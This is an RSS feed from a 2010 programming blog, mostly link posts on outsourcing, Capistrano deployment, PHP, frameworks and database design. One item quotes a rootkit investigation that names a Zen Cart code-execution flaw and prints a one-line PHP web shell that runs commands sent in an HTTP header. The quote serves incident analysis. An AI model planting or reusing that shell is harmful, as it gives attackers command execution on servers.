<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Closer To The Ideal</title>
	<atom:link href="http://www.teamlalala.com/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.teamlalala.com/blog</link>
	<description>life does not allow perfection, it allows iterations, moments of insight that take us closer to the ideal</description>
	<lastBuildDate>Sun, 14 Mar 2010 06:03:37 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>A JavaFX group at Mix Oracle</title>
		<link>http://www.teamlalala.com/blog/2010/03/14/a-javafx-group-at-mix-oracle/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/14/a-javafx-group-at-mix-oracle/#comments</comments>
		<pubDate>Sun, 14 Mar 2010 06:03:37 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1569</guid>
		<description><![CDATA[There is a new JavaFX group at Mix Oracle.  Oddly, it has no RSS feed, so I have to post a link here, or I will not remember that it exists. 
]]></description>
			<content:encoded><![CDATA[<p><a href="https://mix.oracle.com/groups/20213">There is a new JavaFX group at Mix Oracle. </a> Oddly, it has no RSS feed, so I have to post a link here, or I will not remember that it exists. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/14/a-javafx-group-at-mix-oracle/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to hire coders on RentACoder</title>
		<link>http://www.teamlalala.com/blog/2010/03/13/how-to-hire-coders-on-rentacoder/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/13/how-to-hire-coders-on-rentacoder/#comments</comments>
		<pubDate>Sat, 13 Mar 2010 22:49:23 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[project management]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1567</guid>
		<description><![CDATA[The subtleties in outsourcing using RentACoder
What to know before you start
Rentacoder does not have skilled developers from western countries. What it has are freelancers from countries like Romania, India, Pakistan and Russia. The price level is also at the level of those countries.
The availability of particular skills is very limited. There are a lot of [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.cubeofm.com/the-subtleties-in-outsourcing-using-rentacode">The subtleties in outsourcing using RentACoder</a></p>
<blockquote><p>What to know before you start<br />
Rentacoder does not have skilled developers from western countries. What it has are freelancers from countries like Romania, India, Pakistan and Russia. The price level is also at the level of those countries.</p>
<p>The availability of particular skills is very limited. There are a lot of good PHP programmers, many mediocre designers, just a few python programmers and a very few rubyonrails programmers. It&#8217;s generally a bad idea to pick people from western countries to do PHP stuff on rentacoder &#8211; the competition from really good programmers based in cheaper countries will make it unsustainable for these people to do longterm.</p>
<p>For C++ and more complex projects, you can pick from the U.S and Europe. For content writing, I have had the best luck with expats from U.S and U.K who are living in cheap countries like thailand or vietnam.</p>
<p>When writing your bid request<br />
Don&#8217;t bother making people sign an NDA before seeing your bid. That&#8217;s just silly. Turn on the setting to privatise your bid afterwards, you don&#8217;t want coders going through your profile to see what you paid other coders.</p>
<p>Write the programming technology you are going to use in the title, so that the coders can see immediately if they are good for this. Remember, the coders are going to see the projects in a big newsletter sent per email. Always wait at least one day for that email to be sent out before you start selecting.</p>
<p>Put what the project is worth for you as your maximum bid. You will really get more quality if you pay more &#8211; the difference in the number of bidders when you go from $450 to $550 can be massive.</p>
<p>Never ever select the option &#8216;unsure&#8217;, or your project will be bundled up with a bunch of $20 projects. This will put your bid right at the bottom of the email, and few coders will see it or be interested in it.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/13/how-to-hire-coders-on-rentacoder/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Jobs for Symfony developers</title>
		<link>http://www.teamlalala.com/blog/2010/03/13/jobs-for-symfony-developers/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/13/jobs-for-symfony-developers/#comments</comments>
		<pubDate>Sat, 13 Mar 2010 19:49:18 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[gigs]]></category>
		<category><![CDATA[symfony]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1565</guid>
		<description><![CDATA[Worth knowing about: a listing of jobs for Symfony developers.
]]></description>
			<content:encoded><![CDATA[<p>Worth knowing about: <a href="http://twitter.com/symfoniansjobs">a listing of jobs for Symfony developers</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/13/jobs-for-symfony-developers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Jobs for Ruby On Rails developers</title>
		<link>http://www.teamlalala.com/blog/2010/03/13/jobs-for-ruby-on-rails-developers/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/13/jobs-for-ruby-on-rails-developers/#comments</comments>
		<pubDate>Sat, 13 Mar 2010 19:46:37 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[Ruby on Rails]]></category>
		<category><![CDATA[gigs]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1562</guid>
		<description><![CDATA[Worth knowing about: a jobs board for Ruby On Rails developers.
]]></description>
			<content:encoded><![CDATA[<p>Worth knowing about: <a href="http://www.mirrorplacement.com/developer">a jobs board for Ruby On Rails developers</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/13/jobs-for-ruby-on-rails-developers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Deployment strategies with Capistrano</title>
		<link>http://www.teamlalala.com/blog/2010/03/13/deployment-strategies-with-capistrano/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/13/deployment-strategies-with-capistrano/#comments</comments>
		<pubDate>Sat, 13 Mar 2010 19:31:31 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[Ruby on Rails]]></category>
		<category><![CDATA[deploying a website]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[project management]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1560</guid>
		<description><![CDATA[2 posts on deploying web software with Capistrano.
Craig T Mackenzie writes:

Like most people I use capistrano to deploy my rails applications, at work we host with the excellent railsmachine and they have really helped simplify the process of deploying to their servers using the railsmachine gem, which builds on top of the excellent functionality of capistrano.
The way [...]]]></description>
			<content:encoded><![CDATA[<p>2 posts on deploying web software with Capistrano.</p>
<p><a href="http://blog.craig-mackenzie.com/2007/01/04/deploying-multiple-instances-of-an-application-with-capistrano/">Craig T Mackenzie writes:</a></p>
<blockquote>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 14px; padding-left: 0px; text-align: justify; margin: 0px;">Like most people I use capistrano to deploy my rails applications, at work we host with the excellent <a style="color: #e03a3a; text-decoration: none;" href="http://railsmachine.com/">railsmachine</a> and they have really helped simplify the process of deploying to their servers using the <a style="color: #e03a3a; text-decoration: none;" href="https://support.railsmachine.com/index.php?pg=kb.chapter&amp;id=18">railsmachine gem</a>, which builds on top of the excellent functionality of capistrano.</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 14px; padding-left: 0px; text-align: justify; margin: 0px;">The way these tools work by default they only allow you to deploy one instance of your application, which is fine, that’s all they’re are intended to do. But in the client facing world you’re probably going to want to have at least two versions of the same application at different stages of development running on the same server.</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 14px; padding-left: 0px; text-align: justify; margin: 0px;">A live forward facing version (my-app.com) and a staging version (staging.my-app.com) for client approval / production testing (not code testing, that should stay on your development box) / progressive reviews etc.</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 14px; padding-left: 0px; text-align: justify; margin: 0px;">So how do we achieve that? The idea is to determine what context you are deploying your application in, and use the fact the capistrano tasks can be chained together to set everything up ready for deploying a revision of your application to a targeted url, independent of other deployments.</p>
</blockquote>
<p><a href="http://groups.google.com/group/capistrano/msg/ce9b54912a705aa7">Jamis Buck writes:</a></p>
<blockquote><p>I&#8217;m still really pushing back against adding staging support into<br />
Capistrano itself. You can accomplish what you want without using<br />
environment environment variables by using cap&#8217;s -S switch:</p>
<p>cap -S stage=production deploy</p>
<p>Then, your deploy.rb looks like:</p>
<p># set the default, unless it was set on the CLI<br />
set :stage, &#8220;development&#8221; unless variables[:stage]</p>
<p># do the setup, based on the selected stage<br />
case stage<br />
when &#8220;production&#8221;<br />
set :deploy_to, &#8220;&#8230;&#8221;<br />
role :web, &#8220;&#8230;&#8221;<br />
role :app, &#8220;&#8230;&#8221;<br />
&#8230;<br />
when &#8220;development&#8221;<br />
&#8230;<br />
when &#8220;demo&#8221;<br />
&#8230;<br />
else<br />
raise &#8220;unsupported staging environment: #{stage}&#8221;<br />
end</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/13/deployment-strategies-with-capistrano/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to discover a rootkit attack on your Linux server</title>
		<link>http://www.teamlalala.com/blog/2010/03/13/how-to-discover-a-rootkit-attack-on-your-linux-server/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/13/how-to-discover-a-rootkit-attack-on-your-linux-server/#comments</comments>
		<pubDate>Sat, 13 Mar 2010 18:46:07 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[sysadmin]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1557</guid>
		<description><![CDATA[A great bit of sysadmin detective work.

The second entry, with the POST looks pretty strange. I opened the admin/record_company.php file and discovered that it is part of zen-cart. The first result of googling for “zencart record_company” is this:Zen Cart ‘record_company.php’ Remote Code Execution Vulnerability. So that’s exactly how they were able to run code as the [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.void.gr/kargig/blog/2009/08/21/theres-a-rootkit-in-the-closet/">A great bit of sysadmin detective work.</a></p>
<blockquote>
<p style="margin-top: 0.8em; margin-bottom: 1.6em;">The second entry, with the POST looks pretty strange. I opened the admin/record_company.php file and discovered that it is part of <a style="color: #3c657b; text-decoration: none; background-image: url(http://www.void.gr/kargig/blog/wp-content/themes/gentle_calm/images/external_link.gif); background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; padding-right: 10px; white-space: nowrap; background-position: 100% 50%; background-repeat: no-repeat no-repeat;" href="http://www.zen-cart.com/">zen-cart</a>. The first result of googling for “<a style="color: #3c657b; text-decoration: none; background-image: url(http://www.void.gr/kargig/blog/wp-content/themes/gentle_calm/images/external_link.gif); background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; padding-right: 10px; white-space: nowrap; background-position: 100% 50%; background-repeat: no-repeat no-repeat;" href="http://www.google.gr/search?q=zencart+record_company">zencart record_company</a>” is this:<a style="color: #3c657b; text-decoration: none; background-image: url(http://www.void.gr/kargig/blog/wp-content/themes/gentle_calm/images/external_link.gif); background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; padding-right: 10px; white-space: nowrap; background-position: 100% 50%; background-repeat: no-repeat no-repeat;" href="http://www.securityfocus.com/bid/35467">Zen Cart ‘record_company.php’ Remote Code Execution Vulnerability</a>. So that’s exactly how they were able to run code as the apache2 user.</p>
<p style="margin-top: 0.8em; margin-bottom: 1.6em;">Opening images/imagedisplay.php shows the following code:<br />
<code style="font-family: 'lucida console', 'Courier New', monospace; font-size: 0.8em; display: block; background-color: #e5eae4; padding: 0.5em; border: 1px solid #d2d8d1;">&lt;?php system($_SERVER["HTTP_SHELL"]); ?&gt;</code><br />
This code allows running commands using the account of the user running the apache2 server.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/13/how-to-discover-a-rootkit-attack-on-your-linux-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Eli White on using lambda functions in PHP</title>
		<link>http://www.teamlalala.com/blog/2010/03/12/eli-white-on-using-lambda-functions-in-php/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/12/eli-white-on-using-lambda-functions-in-php/#comments</comments>
		<pubDate>Sat, 13 Mar 2010 02:43:14 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1555</guid>
		<description><![CDATA[Eli White offers a very smart use of lambda functions in PHP.
Now not only would this work for my specific situation, but ANY controller could reuse this pagination subview and define exactly how it wanted it’s URLs to be formed. Now, the view could completely change around how the pagination section is displayed, show as [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://eliw.wordpress.com/2010/03/10/an-intriguing-use-of-lambda-functions/">Eli White offers a very smart use of lambda functions in PHP.</a></p>
<blockquote><p>Now not only would this work for my specific situation, but ANY controller could reuse this pagination subview and define exactly how it wanted it’s URLs to be formed. Now, the view could completely change around how the pagination section is displayed, show as many, or as few pages as it wants to, and all that without ever touching the controller.</p>
<p>This is one simple example, but I’ve become enamored of this approach. Using lambda functions in this way, you are able to have complicated logic represented inside of your view, but encapsulated/created by the controller. Also of note is the fact that the view is managing to use the $jsfunc and $baseurl values, but without actually having to be granted access to them. This allows for another level of encapsulation, as I exposed one function, instead of 2 separate variables. In the future if other data points start being needed to determine what a URL should be, the view never needs know that, as the controller will continue to update the function on it’s behalf.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/12/eli-white-on-using-lambda-functions-in-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Why software frameworks are beneficial to clients</title>
		<link>http://www.teamlalala.com/blog/2010/03/12/why-software-frameworks-are-beneficial-to-clients/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/12/why-software-frameworks-are-beneficial-to-clients/#comments</comments>
		<pubDate>Fri, 12 Mar 2010 21:28:43 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[project management]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1550</guid>
		<description><![CDATA[On LinkedIn, I had a useful conversation with Kris Herlaar, which I will repeat here. 
Personal, individual frameworks made a lot of sense in 2000 and 2001 and 2002, but now? Of my 3 most recent contracts, 2 were rebuilds of sites built by some other PHP programmer. In some cases the code was good, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.linkedin.com/groupAnswers?viewQuestionAndAnswers=&#038;discussionID=14406319&#038;gid=40870&#038;commentID=13096339&#038;goback=.anh_40870&#038;trk=NUS_DIG_DISC_Q-ucg_mr#commentID_13096339">On LinkedIn, I had a useful conversation with Kris Herlaar, which I will repeat here.</a> </p>
<p>Personal, individual frameworks made a lot of sense in 2000 and 2001 and 2002, but now? Of my 3 most recent contracts, 2 were rebuilds of sites built by some other PHP programmer. In some cases the code was good, but the framework was their own, all together personal, and undocumented. </p>
<p>I think we betray our clients if we use personal frameworks in 2010. You can build a great site using Cake, Symfony, CodeIgniter, or WordPress, Joomla, or Drupal. You can build a great site using modified versions of existing CMSs, or using an open source framework to build your software. These open source projects offer standardization, and standardization is important. These open source projects offer documentation, and documentation is important. </p>
<p>Kris wrote:</p>
<blockquote><p>People with different backgrounds have different ideas about what is good, and there are probably frameworks for every possible set of ideas you and I could think of. </p></blockquote>
<p>Yes, and this fact is expensive for my clients. </p>
<p>I do think what I&#8217;m writing about here is, in fact, a trend. When I look for new PHP gigs, I notice more and more of them require the use of some framework or CMS. The most common requests are Drupal, WordPress, Joomla, Symfony and CodeIgniter. My sense is that businesses are realizing that it is expensive to allow a programmer to invent their own framework, so the businesses are insisting on the use of some open source software which is well documented. </p>
<p>Here is the scenario that I have seen a lot during the last 5 years: </p>
<p>A company hires a PHP programmer. The company (called &#8220;abc&#8221;) says &#8220;Build us a website that does xyz.&#8221; The programmer invents their own software and builds xyz. Since the programmer thinks they are working alone, they allow themselves to cut corners.They copy and paste code. They do not refactor as much as they should. They do not document much, since they assume they are the only ones working with the code. </p>
<p>After 3 years, the programmer leaves to take a new job somewhere else. The &#8220;abc&#8221; company now hires a new PHP programmer. The company says &#8220;Please fix all the bugs in xyz&#8221;. The new programmer struggles to learn the code written by the last programmer. There is no documentation regarding how the software works. The last programmer, now gone, rarely responds to questions via email.The new programmer eventually figures out that the old code had some architecture, but the exceptions to the architecture continue to baffle. And why does the code repeat in some places? Is that a bit of copy and paste, or was that really necessary somehow? </p>
<p>After the bugs are fixed, the company says &#8220;Great, now, lets extend xyz and add in features lmnop.&#8221; Extending the old code is difficult for the new programmer, since they have no idea how the last programmer intended for the code to be extended. More so, the last programmer didn&#8217;t even foresee some of the new needs of lmnop so the old code is badly suited to the new job. The new programmer struggles with the task of adding features while keeping the code base backwards compatible. A job that should take 1 month instead takes 2 months. </p>
<p>Finally, with that done, the company says to the programmer, &#8220;Great, now we are going to start a totally new project, the def project. You can use any technology you want for this. You can invent your own framework for this, if you want.&#8221; The new programmer rejoices! Finally, they will be allowed to do things their way! They will get to write code that makes sense to them! They will get to build an architecture that makes sense to them! The programmer invents their own software and builds def. Since the programmer thinks they are working alone, they allow themselves to cut corners.They copy and paste code. They do not refactor as much as they should. They do not document much, since they assume they are the only ones working with the code. </p>
<p>After 3 years, the programmer leaves to take a new job somewhere else. The &#8220;abc&#8221; company now hires a new PHP programmer. The new programmer must now work with the patched, extended, bloated project of xyz. They must also work with def, which they find confusing. Each project was written by a different programmer, uses a different architecture, makes different assumptions about what is good code. </p>
<p>You see the problem? This is not sustainable. </p>
<p>Consider Kris&#8217;s words: </p>
<p>&#8220;People with different backgrounds have different ideas about what is good, and there are probably frameworks for every possible set of ideas you and I could think of.&#8221; </p>
<p>That is the problem that can be fixed by committing to a framework.</p>
<p>Just to be clear, I think the choice of a framework might be arbitrary, and yet will still be useful. That is, the framework does not have to be the &#8220;best&#8221;. It merely needs to offer consistency. There is a great benefit to consistency, especially over the long term. I mean, it is good if you can get several programmers who will work with some basic set of core assumptions &#8211; a decent framework will offer that. </p>
<p>Another problem that I have seen a lot of is the programmer who thinks they are working alone. Either they are the only programmer at the business, or they are assigned some project that belongs to them and which no other programmer is allowed to touch. So they think they are alone. But after a few years, they leave the company, and some other programmer is brought in to handle their work. </p>
<p>Over time, all projects involve multiple programmers. Programmers seem to be slow to recognize this. After some years, they will move on, and some other programmer will have to work on their code. I wish more programmers could be made to see this. </p>
<p>I am especially aware of this right now, because, as I said, 2 of my last 3 gigs I have been brought in to save/rebuild code left by some other programmer.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/12/why-software-frameworks-are-beneficial-to-clients/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Daria Novak re-uses Darren Hoyt&#8217;s 2008 Obama theme</title>
		<link>http://www.teamlalala.com/blog/2010/03/11/daria-novak-re-uses-darren-hoyts-2008-obama-theme/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/11/daria-novak-re-uses-darren-hoyts-2008-obama-theme/#comments</comments>
		<pubDate>Fri, 12 Mar 2010 03:40:10 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[design]]></category>
		<category><![CDATA[designers]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1548</guid>
		<description><![CDATA[Kind of funny, kind of odd. Darren Hoyt notes a Republican candidate re-using his Obama theme:
Today Geoff Fox tipped me off to something ironic: the website for Republican congressional candidate Daria Novak is using a WordPress theme I designed back in 2008 for Obama supporters. What’s interesting is that soon after Geoff made the observation, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.darrenhoyt.com/2010/03/10/obama-theme-republican-candidate/">Kind of funny, kind of odd</a>. Darren Hoyt notes a Republican candidate re-using his Obama theme:</p>
<blockquote><p>Today Geoff Fox tipped me off to something ironic: the website for Republican congressional candidate Daria Novak is using a WordPress theme I designed back in 2008 for Obama supporters. What’s interesting is that soon after Geoff made the observation, Novak’s web team removed all references to Obama from the CSS and templates, even changing the name of the /theme/ directory.
</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/11/daria-novak-re-uses-darren-hoyts-2008-obama-theme/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dribble as an intimate support system for designers</title>
		<link>http://www.teamlalala.com/blog/2010/03/11/dribble-as-an-intimate-support-system-for-designers/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/11/dribble-as-an-intimate-support-system-for-designers/#comments</comments>
		<pubDate>Fri, 12 Mar 2010 03:30:29 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[design]]></category>
		<category><![CDATA[designers]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1546</guid>
		<description><![CDATA[Darren Hoyt has a great write up about Dribble: 
Finding intimacy among groups of friends and colleagues online isn’t always about limited numbers. Sometimes it’s just a matter of finding the right people. But once you’ve found an intimate place, how long can it last?
At some point in 2008-2009 everyone I’ve met in my entire [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.darrenhoyt.com/2010/03/09/dribbble-meritocracy-and-the-open-web/">Darren Hoyt has a great write up about Dribble: </a></p>
<blockquote><p>Finding intimacy among groups of friends and colleagues online isn’t always about limited numbers. Sometimes it’s just a matter of finding the right people. But once you’ve found an intimate place, how long can it last?</p>
<p>At some point in 2008-2009 everyone I’ve met in my entire 35 years got a Facebook account. Instead of trusted recent friends, my circle expanded to acquaintances from high school. People who I never intended on re-establishing contact were now privy to my every silly status update. I got self-conscious and had to create filters so that certain people didn’t get certain updates. This idea of relationship-filtering will continue being an uncomfortable part of our lives as social media grows.</p>
<p>Currently, Dribbble feels pretty intimate. Among the nearly 1000 members, there are still clusters of friends that form little subgroups. Within your trusted circle, you can be yourself and post private/client work without worrying much about it.</p>
<p>This intimacy is important as many of us designers spend our time maintaining an airtight wall of professionalism on our personal/portfolio sites. We publish only the most pixel-perfect portfolio samples. We still use the royal “we” when describing the work done at our one-man design studios. The web allows us to contrive whatever identity we want for ourselves.</p>
<p>Dribbble is a nice escape. You can be loose and be yourself. It’s more personal. There is no veil of professionalism. Because it is private, people post wacky stuff they might not </p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/11/dribble-as-an-intimate-support-system-for-designers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gay marriage: how to design the database</title>
		<link>http://www.teamlalala.com/blog/2010/03/11/gay-marriage-how-to-design-the-database/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/11/gay-marriage-how-to-design-the-database/#comments</comments>
		<pubDate>Fri, 12 Mar 2010 03:16:25 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[datastores]]></category>
		<category><![CDATA[design patterns]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1544</guid>
		<description><![CDATA[Gay marriage: the database engineering perspective. This is great stuff. The essay is ostensibly about how to handle the recording of gay marriage in a database. But it uses the issue of gay marriage to go through every classic issue of database design, from foreign keys to normalization to the degree of abstraction needed to [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://qntm.org/gay">Gay marriage: the database engineering perspective</a>. This is great stuff. The essay is ostensibly about how to handle the recording of gay marriage in a database. But it uses the issue of gay marriage to go through every classic issue of database design, from foreign keys to normalization to the degree of abstraction needed to handle polyamorous  marriages. From now on, when I&#8217;ve got a friend trying to learn how to design databases, I will send them to this essay. </p>
<blockquote><p>There are various objections to expanding the conventional, up-tight, as-God-intended &#8220;one man, one woman&#8221; notion of marriage but by far the least plainly bigoted ones I am aware of are the bureaucratic ones.</p>
<p>To be blunt, the systems aren&#8217;t set up to handle it. The paper forms have a space for the husband&#8217;s name and a space for the wife&#8217;s name. Married people carefully enter their details in block capitals and post the forms off to depressed paper-pushers who then type that information into software front-ends whose forms are laid out and named in precisely the same fashion. And then they hit &#8220;submit&#8221; and the information is filed away electronically in databases which simply keel over or belch integrity errors when presented with something so profound as a man and another man who love each other enough to want to file joint tax returns.</p>
<p>Speaking as a computery-type person, altering the paper forms is not my department. It&#8217;s probably expensive and there are probably millions of existing incorrect forms which would need returning or recycling or burning instead of using. Or maybe it&#8217;s simple. I don&#8217;t know. The real question from my perspective is how you store a marriage in a computer.</p>
<p>Altering your database schema to accommodate gay marriage can be easy or difficult depending on how smart you were when you originally set up your system to accommodate heterosexuality only. Let&#8217;s begin.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/11/gay-marriage-how-to-design-the-database/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sexual Reproduction for Gay Couples</title>
		<link>http://www.teamlalala.com/blog/2010/03/11/sexual-reproduction-for-gay-couples/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/11/sexual-reproduction-for-gay-couples/#comments</comments>
		<pubDate>Fri, 12 Mar 2010 02:43:38 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[biology]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1542</guid>
		<description><![CDATA[Sexual Reproduction for Gay Couples. If you take genetic material from both parents, and then fertilize an egg with that material, then you get a child that is biologically descended from both of its gay parents (or, if we are talking about 2 women, take genetic material from one woman and use it to fertilize [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.chromosomechronicles.com/2009/07/29/sexual-reproduction-for-same-sex-couples/">Sexual Reproduction for Gay Couples</a>. If you take genetic material from both parents, and then fertilize an egg with that material, then you get a child that is biologically descended from both of its gay parents (or, if we are talking about 2 women, take genetic material from one woman and use it to fertilize an egg in the other woman). </p>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/11/sexual-reproduction-for-gay-couples/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sex determined by something in each cell, not hormones</title>
		<link>http://www.teamlalala.com/blog/2010/03/11/sex-determined-by-something-in-each-cell-not-hormones/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/11/sex-determined-by-something-in-each-cell-not-hormones/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 22:33:29 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[biology]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1539</guid>
		<description><![CDATA[A big surprise, found with birds: 
It was previously thought that sex chromosomes in birds control whether a testis or ovary forms, with sexual traits then being determined by hormones.
The researchers, however, identified differences between male and female cells that control the development of sexual traits. The scientists have named the phenomenon, cell autonomous sex [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.biologynews.net/archives/2010/03/10/scientists_solve_puzzle_of_chickens_that_are_half_male_and_half_female.html">A big surprise</a>, found with birds: </p>
<blockquote><p>It was previously thought that sex chromosomes in birds control whether a testis or ovary forms, with sexual traits then being determined by hormones.</p>
<p>The researchers, however, identified differences between male and female cells that control the development of sexual traits. The scientists have named the phenomenon, cell autonomous sex identity (CASI).</p></blockquote>
<p>I wonder if this is true for mammals as well? </p>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/11/sex-determined-by-something-in-each-cell-not-hormones/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>I am offended that 37 Signals would advertise their book on Basecamp</title>
		<link>http://www.teamlalala.com/blog/2010/03/11/i-am-offended-that-37-signals-would-advertise-their-book-on-basecamp/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/11/i-am-offended-that-37-signals-would-advertise-their-book-on-basecamp/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 22:23:20 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[37signals]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1532</guid>
		<description><![CDATA[Here is a screen shot, note the yellow box that advertises their new book:

I pay $30 a month for Basecamp. I do not want ads on Basecamp. Not even ads from 37 Signals. 
]]></description>
			<content:encoded><![CDATA[<p>Here is a screen shot, note the yellow box that advertises their new book:</p>
<p><a href="http://www.teamlalala.com/blog/wp-content/ads_on_basecamp1.png"><img src="http://www.teamlalala.com/blog/wp-content/ads_on_basecamp1-291x300.png" alt="ads_on_basecamp" title="ads_on_basecamp" width="291" height="300" class="alignnone size-medium wp-image-1537" /></a></p>
<p>I pay $30 a month for Basecamp. I do not want ads on Basecamp. Not even ads from 37 Signals. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/11/i-am-offended-that-37-signals-would-advertise-their-book-on-basecamp/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Who can learn to program?</title>
		<link>http://www.teamlalala.com/blog/2010/03/09/who-can-learn-to-program/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/09/who-can-learn-to-program/#comments</comments>
